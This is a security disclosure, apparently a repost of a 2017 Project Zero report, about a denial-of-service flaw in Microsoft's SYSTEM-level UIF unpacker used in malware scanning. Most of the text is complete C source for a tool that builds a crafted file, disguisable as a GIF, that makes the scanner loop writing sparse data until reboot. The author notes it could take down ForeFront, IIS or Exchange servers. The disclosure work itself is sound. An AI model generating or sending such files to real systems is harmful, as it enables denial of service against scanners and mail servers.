The UIF (Universal Image Format) is a proprietary file format used by the old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF that runs as SYSTEM on all filesystem activity (!?!).
The UIF format has an index structure at a fixed offset from the end of the file, with a pointer to contiguous block descriptions that describe how to reconstruct the output from data scattered throughout the file. I noticed that UIF has a "sparse" block type that just outputs chunks of nuls. Microsoft write them out like this:
  while (write(TempFile, Buffer, SectorSize) == SectorSize)
      BytesWritten += SectorSize;
All of these parameters are read from the file, so you can make it spin creating this sparse data for as long as you want. This means you can make a file that takes as long as you want to scan, wasting as many cores as you want and you have to reboot to fix it.
A testcase and the C code I used to generate it is attached. I called it .gif, but I don't think file extension is relevant to this attack.
I'm filing this with low priority, but I suppose you could DoS an ForeFront, IIS, or Exchange server with it quite effectively, I don't know.
```
// Compile:
// $ gcc -o uifspin uifspin.c -lz
//
// Usage:
// $ ./uifspin > testcase.txt
//
// (Or, you can provide a template file, and it will append a testcase to it)
//
// $ ./uifspin template.gif > testcase.gif
// $ file testcase.gif
// testcase.gif: GIF image data, version 89a, 400 x 300
//
```
`uifspin.c`
```
#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <zlib.h>
#include <err.h>
#include <stdbool.h>
#include <stdlib.h>
#pragma pack(1)
// The UIF (Universal Image Format) is a proprietary file format used by the
// old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF
// that runs as SYSTEM on all filesystem activity (!?!).
//
// The UIF format has an index structure at a fixed offset from the end of the
// file, with a pointer to contiguous block descriptions that describe how to
// reconstruct the output from data scattered throughout the file.
//
// I noticed that UIF has a "sparse" block type that just outputs chunks of nuls.
// Microsoft write them out like this:
//
//    while (write(TempFile, Buffer, SectorSize) == SectorSize)
//        BytesWritten += SectorSize;
//
// All of these parameters are read from the file, so you can make it spin
// creating this sparse data for as long as you want. This means you can
// make a file that takes as long as you want to scan, wasting as many cores as
// you want and you have to reboot to fix it.
//
// Compile:
// $ gcc -o uifspin uifspin.c -lz
//
// Usage:
// $ ./uifspin > testcase.txt
//
// (Or, you can provide a template file, and it will append a testcase to it)
//
// $ ./uifspin template.gif > testcase.gif
// $ file testcase.gif
// testcase.gif: GIF image data, version 89a, 400 x 300
//
// Tavis Ormandy <taviso@google.com>, May 2017
#define NUM_SPARSE_BLOCKS (1<<17)    // Each block takes a few minutes to process.
#define MAX_COMPRESSED_SIZE 32768    // How much the compressed block data headers will need.
// Set the maximum sparse file size, in versions before 1.1.13701.0 the limit
// was INT_MAX. After 1.1.13701.0, the limit was changed to 0x1000000, but that
// still takes a long time to process.
//#define MAX_TEMPFILE_SIZE INT_MAX
#define MAX_TEMPFILE_SIZE 0x1000000
struct bbishdr {
    uint32_t magic;
    uint32_t size;
    uint16_t ver;
    uint16_t imagetype;
    uint32_t field_C;
    uint32_t sectors;
    uint32_t sectorsize;
    uint32_t lastdiff;
    uint64_t blhr;
    uint32_t blhrbbissz;
    uint8_t  hash[16];
    uint32_t key[2];
};
struct blhrhdr {
    uint32_t    magic;
    uint32_t    size;
    uint32_t    compressed;
    uint32_t    numblocks;
};
struct blockdata {
    uint64_t    offset;
    uint32_t    zsize;
    uint32_t    sector;
    uint32_t    size;
    uint32_t    type;
};
static uint8_t zblockbuf[MAX_COMPRESSED_SIZE];
static struct blockdata blkdata[NUM_SPARSE_BLOCKS];
int main(int argc, char **argv)
{
    struct bbishdr bbishdr = {0};
    struct blhrhdr blhrhdr = {0};
    z_stream zstream = {0};
    FILE *template;
    int i;
    if (deflateInit2(&zstream,
                     Z_BEST_COMPRESSION,
                     Z_DEFLATED,
                     15,
                     MAX_MEM_LEVEL,
                     Z_DEFAULT_STRATEGY) != Z_OK) {
        err(EXIT_FAILURE, "failed to initialize zlib library");
    }
    for (i = 0; i < NUM_SPARSE_BLOCKS; i++) {
        blkdata[i].offset   = 0;
        blkdata[i].sector   = 0;                 // vfo_seek(TempFile, bbishdr.sectorsize * blkdata.sector)
        blkdata[i].size     = MAX_TEMPFILE_SIZE; // vfo_write() will create this size file.
        blkdata[i].type     = 3;                 // Sparse chunk.
    }
    zstream.avail_in    = sizeof(blkdata);
    zstream.next_in     = (void *) &blkdata;
    zstream.avail_out   = sizeof(zblockbuf);
    zstream.next_out    = zblockbuf;
    if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
        err(EXIT_FAILURE, "deflate() failed to create compressed payload, %s", zstream.msg);
    }
    if (deflateEnd(&zstream) != Z_OK) {
        err(EXIT_FAILURE, "deflateEnd() returned failure, %s", zstream.msg);
    }
    blhrhdr.magic       = ntohl('blhr');
    blhrhdr.size        = zstream.total_out;
    blhrhdr.numblocks   = NUM_SPARSE_BLOCKS;
    bbishdr.magic       = ntohl('bbis');
    bbishdr.sectors     = 1;    // If blkdata[i].sector exceeds this, then fail.
    bbishdr.sectorsize  = 1;    // This changes the size of each write(), smaller is slower.
    bbishdr.blhr        = 0;    // File byte offset of blhr
    // Optionally prepend a template file, e.g an image or document.
    if (argv[1]) {
        if ((template = fopen(argv[1], "r")) == NULL) {
            err(EXIT_FAILURE, "failed to open template file %s", argv[1]);
        }
        while ((i = fgetc(template)) != EOF) {
            bbishdr.blhr++;
            fputc(i, stdout);
        }
        fclose(template);
    }
    fwrite(&blhrhdr, sizeof blhrhdr, 1, stdout);
    fwrite(&zblockbuf, zstream.total_out, 1, stdout);
    fwrite(&bbishdr, sizeof bbishdr, 1, stdout);
    return 0;
}
```
`exploit.gif `

                       
                       
        
          
全部评论 (1)